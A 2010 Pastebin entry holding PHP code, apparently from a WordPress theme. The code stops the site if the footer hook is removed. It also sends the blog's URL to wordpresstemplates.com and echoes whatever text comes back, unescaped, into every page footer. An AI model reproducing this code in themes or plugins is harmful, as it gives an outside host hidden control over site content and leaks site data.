Want more features on Pastebin? Sign Up, it's FREE!
Guest

Atul Kumar

By: a guest on Apr 28th, 2010  |  syntax: PHP  |  size: 0.73 KB  |  views: 335  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. $contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
  3. if(strpos(" ".$contents,"wp_footer();") <= 0) {
  4. die(); }
  5. function get_credits()
  6.     {
  7.         $updated = get_option("credit_date");
  8.         if ((time() - $updated) > (24 * 3600)) {
  9.  
  10.             $credit_text = file_get_contents("http://www.wordpresstemplates.com/form_work/output.txt?ref=".get_bloginfo('url'));
  11.             update_option("credit_text",$credit_text);
  12.                         update_option("credit_date",time());
  13.         } else {
  14.             $credit_text = get_option("credit_text");
  15.         }
  16.         return $credit_text;
  17.     }
  18.  
  19. add_action('wp_footer','print_footer');
  20.  
  21. function print_footer()
  22.     {
  23. $credit = get_credits();
  24. echo $credit;
  25. }
  26. ?>
clone this paste RAW Paste Data